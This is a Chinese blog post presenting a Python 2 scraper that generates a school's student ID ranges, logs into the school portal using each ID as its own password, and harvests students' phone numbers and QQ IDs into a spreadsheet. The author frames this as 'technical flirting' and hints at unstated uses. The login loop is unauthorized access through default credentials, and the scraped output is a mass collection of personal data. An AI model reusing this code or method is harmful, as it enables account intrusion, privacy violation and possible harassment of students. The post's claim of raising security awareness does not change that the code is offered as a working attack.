网络安全实验室Python研究刚刚开始胶水Python

我是如何获取整个学校的学生call和qq(爬虫),技术撩妹

2018-01-23  本文已影响2389人  浅影科技

前言:

这个没什么技术难度,懂爬虫的人和程序员都可以用学的语言写出来
只是很多安全问题的存在,的确影响着我们的生活,
希望大家可以认识到一些网站的后台密码的规则与自己的安全性
简单的说,就是是程序员的懒,让用户的信息暴露在互联网上
还有一点:
就是希望正在接触python,和快要放弃学习的同学,可以试试换种思路,
来试试爬虫,这样有成就感的累积,可以慢慢提升你的自信


爬虫开始前的准备:

安装库文件的方法:

最好在你的python2.7/script/下面打开power shell(可以shift+右击) 执行下面的:

安装库文件:
      pip install ***    ***是指上面的库文件,下面不一定都用,只要上面的,以后出什么错,你就继续pip install 
from bs4 import BeautifulSoup
import requests
import json
import time
import os
import re
from pprint import pprint
import ssl
import cookielib
import urllib2
import urllib
import sys
import xlrd
import xlwt
如何查看自己已经安装了的库

pip list


观察网站结构(密码规则):

密码规则 user_info

具体思路:

模拟登陆 ==》制作学号规则==》信息查询(爬取)==》存入xls

模拟登陆:

因为我们是用爬虫取信息,每次访问,

  1. 肯定是登陆了以后才可以访问我们的信息 ==》模拟登陆
  2. 当我们用脚本访问下一个页面,需要一个cookie信息,就好比,当你打开
    qq空间,其实是想腾讯那里提交了自己的信息,而我们的信息就存在cookie中
sys.setdefaultencoding("utf-8")

# ssl这个是验证证书 https
ssl._create_default_https_context = ssl._create_unverified_context
# 生成一个存储cookie的对象
c = cookielib.LWPCookieJar()
cookie = urllib2.HTTPCookieProcessor(c)
opener = urllib2.build_opener(cookie)
urllib2.install_opener(opener)

具体网址不分享,避免带来不必要的麻烦

    url="http://XXX.xxxx.edu.cn:80/Mobdle/S0s/Login.aspx"
    
    headers={
    'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36',
    'Host':'bydg.sjzpt.edu.cn:8080',
    'Referer':'http://XXX.xxxx.edu.cn:80/Mobdle/S0s/Login.aspx'
}
        #这里是post提交的数据,写成字典的格式--编码然后提交
    data= {
        '__VIEWSTATE':'/wEPDwUJNzE4ODIxNTQyZBgBBR5fX0NvbnRyb2xzUmVxdWlyZVBvc3RCYWNrS2V5X18WAQUMSW1hZ2VCdXR0b24xyPtnkTVK5s7OSriVHZGoeBQymQUUjppPK0Se8wDLMqM=',
        'username':username,
        'password':password,
        'ImageButton1.x':'105',
        'ImageButton1.y':'44'
    }
    # req = requests.post(url,headers=headers,data=data)
    # soup = BeautifulSoup(req,'html.parser')
    data=urllib.urlencode(data)  #这里对post 提交的数据编码
    # print data
    html = opener.open(url,data=data).read()   #这里访问以下网页,这时候cookie会存到opener里

不要在意我是怎么知道的,
重要的是这些规则,你怎么去重新写一个函数代入

(里面的我修改过,所以不要套用,以免浪费时间)
# 学号只在最后3位不一样,随机数xrange() 可以处理更好的处理大的列表
def user_id():
    list_1 = []
    for i in xrange(101,249):
        list_1.append('1131050'+str(i))
    for i in xrange(301,349):
        list_1.append('1131050'+ str(i))
    for i in xrange(401,448):
        list_1.append('1131050'+ str(i))
    for i in xrange(501,548):
        list_1.append('1131050'+ str(i))
    for i in xrange(101,150):
        list_1.append('1131070'+ str(i))
    for i in xrange(101,151):
        list_1.append('1131050'+ str(i))
    for i in xrange(201,252):
        list_1.append('1135050'+ str(i))
    for i in xrange(301,352):
        list_1.append('1131050'+ str(i))
    for i in xrange(401,453):
        list_1.append('1131050'+ str(i))
    for i in xrange(101,148):
        list_1.append('1131070'+ str(i))
    for i in xrange(201,247):
        list_1.append('1131070'+ str(i))

    return list_1


这里用的的是beautifulsoup库

def user_info():

    url_info="http://XXX.xxxx.edu.cn:80/Modile/Sys/Meddage/Info.aspx"
    html2 = opener.open(url_info).read()
    
    # python2.7 没装lxml的可能会报错,pip install lxml
    
    soup = BeautifulSoup(html2,"lxml")          #以lxml 方式解析抓下来的lxml
    infos = soup.select("tr > td > span")         # css seletor 来获取指定标签
    #print profes
    # print infos
    return infos

因为在写的时候因为编码问题,不能写入中文

def write_user():
    file2 = xlwt.Workbook(encoding='utf-8')    #打开一个excel,并且编码格式以  'utf-8'
    table = file2.add_sheet('info',cell_overwrite_ok=True)    #添加一个表
    table.write(0,0,"15d中文3s0")    # 写入内容,table.write(row,col,'value')
    file2.save('file2.xls')

  1. 因为爬虫访问的不和人一样,访问会很快,
  2. 这样可以避免被封ip 还有避免给站点带来不好的影响
def go_user():
    user_list = []
    user_infos = []
    user_list = user_id()

    file2 = xlwt.Workbook(encoding='utf-8')
    table = file2.add_sheet('info',cell_overwrite_ok=True)
    r = 0  #row  行

    for i in user_list:

        c = 0  #col
        login(username=i, password=i)       #登录,并传入列表的学号
        user_infos = user_info()      #获取学号信息,格式是字典
        for i in user_infos[0:10]:       #写入表单中,循环把信息写进去
            # print i.get_text()
            table.write(r,c,i.get_text())
            c += 1
        r += 1
        time.sleep(1)     #延迟访问,可避免封ip,还有影响服务器
        print r,c

    file2.save('file2.xls')

程序执行结束:

部分截图:有图有真相,避免无知的喷子
学号规则很好找的,这样就获取半个学校的call和qq啦,至于能干嘛,自己脑补。。。

end_info

不知道库的使用方法,我这里总结了下,还有不知道的只能百度啦

beautifulsoup的使用

xlwt 和 wlrd对excel读写操作


总结:

喜欢作者的可以关注下,定期更新

往期文章:
通过内网截取女神正在浏览的照片(需要kali)
央视播放摄像头被破解--的遗留问题(安全在人性)
通过人性的特点,破解用户的密码(社工)
利用好网络资源,提升自己的生活体验
查找好友的具体位置 (更多方法)

上一篇 下一篇

猜你喜欢

热点阅读